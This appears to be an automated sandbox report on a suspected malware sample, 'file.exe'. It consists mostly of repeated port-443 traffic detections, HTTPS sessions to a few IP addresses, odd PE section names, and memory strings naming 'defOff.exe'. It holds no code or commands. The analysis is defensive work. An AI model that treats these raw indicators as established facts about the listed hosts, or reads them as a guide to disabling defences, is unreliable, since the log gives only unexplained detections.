Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50040 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.2362441738.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2363941635.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2365114063.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357570998.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358061723.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352715830.0000000006120000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357813245.000000000614C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357341716.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359991638.0000000006239000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2486567734.0000000006336000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364577517.0000000006297000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354025709.0000000006125000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355252942.0000000006134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359389180.0000000006241000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2362040156.0000000006269000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355455639.0000000006140000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2363229903.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2365329262.000000000619D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354242729.000000000612E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2365514791.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366939358.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355353434.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2363779171.000000000618A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2362645719.0000000006075000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351697016.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367121982.00000000061B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364275544.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366448011.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359240101.0000000006158000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356991191.0000000006147000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361857673.0000000006168000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350525504.0000000005ED4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358488619.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2365708133.0000000006199000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367302856.0000000006073000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355563871.0000000006210000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351346484.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2487091374.00000000065F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350441016.0000000006075000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366299881.00000000062D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2486193649.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefORHF vs file.exe
